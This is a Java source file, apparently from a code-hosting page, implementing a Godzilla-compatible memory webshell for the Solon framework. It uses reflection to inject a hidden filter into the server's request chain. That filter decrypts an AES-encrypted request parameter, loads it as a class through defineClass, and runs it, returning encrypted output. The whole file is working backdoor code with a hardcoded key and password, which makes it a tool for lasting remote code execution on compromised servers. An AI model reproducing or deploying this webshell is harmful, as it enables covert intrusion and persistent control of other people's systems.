1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152
| package com.example.demo;
import org.noear.solon.core.ChainManager; import org.noear.solon.core.handle.Context; import org.noear.solon.core.handle.Filter;
import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader;
public class GodzillaSolonFilter { private String xc = "3c6e0b8a9c15224a"; private String pass = "pass"; private String md5 = md5(pass + xc); private Class<?> payload;
public GodzillaSolonFilter() { try { injectFilter(); } catch (Exception e) { e.printStackTrace(); } }
public void injectFilter() throws Exception { Filter evilFilter = (ctx, chain) -> { try { String paramContent = ctx.param(pass); if (paramContent != null) { byte[] data = base64Decode(paramContent); data = x(data, false);
if (payload == null) { payload = defClass(data); } else { ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); Object f = payload.newInstance(); f.equals(arrOut); f.equals(data); f.equals(ctx.request());
ctx.output(md5.substring(0, 16)); f.toString(); ctx.output(base64Encode(x(arrOut.toByteArray(), true))); ctx.output(md5.substring(16)); return; } } } catch (Exception e) { e.printStackTrace(); } chain.doFilter(ctx); };
Context ctx = Context.current(); if (ctx != null) { Object _request = getfieldobj(ctx,"_request"); Object request = getfieldobj(_request,"request"); Object serverHandler = getfieldobj(request,"serverHandler"); Object handler = getfieldobj(serverHandler,"handler"); Object arg$1 = getfieldobj(handler,"arg$1"); ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager"); _chainManager.addFilter(evilFilter, 0); } }
private Class<?> defClass(byte[] classBytes) throws Exception { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defMethod.setAccessible(true); return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); }
private byte[] x(byte[] s, boolean m) { try { Cipher c = Cipher.getInstance("AES"); c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return null; } }
private static String base64Encode(byte[] bs) throws Exception { Class<?> base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e2) { } } return value; }
private static byte[] base64Decode(String bs) throws Exception { Class<?> base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e2) { } } return value; }
private static String md5(String s) { String ret = null; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) { } return ret; }
private Object getfieldobj(Object obj, String fieldName) throws Exception { try { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); } catch (Exception e) { Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); } } }
|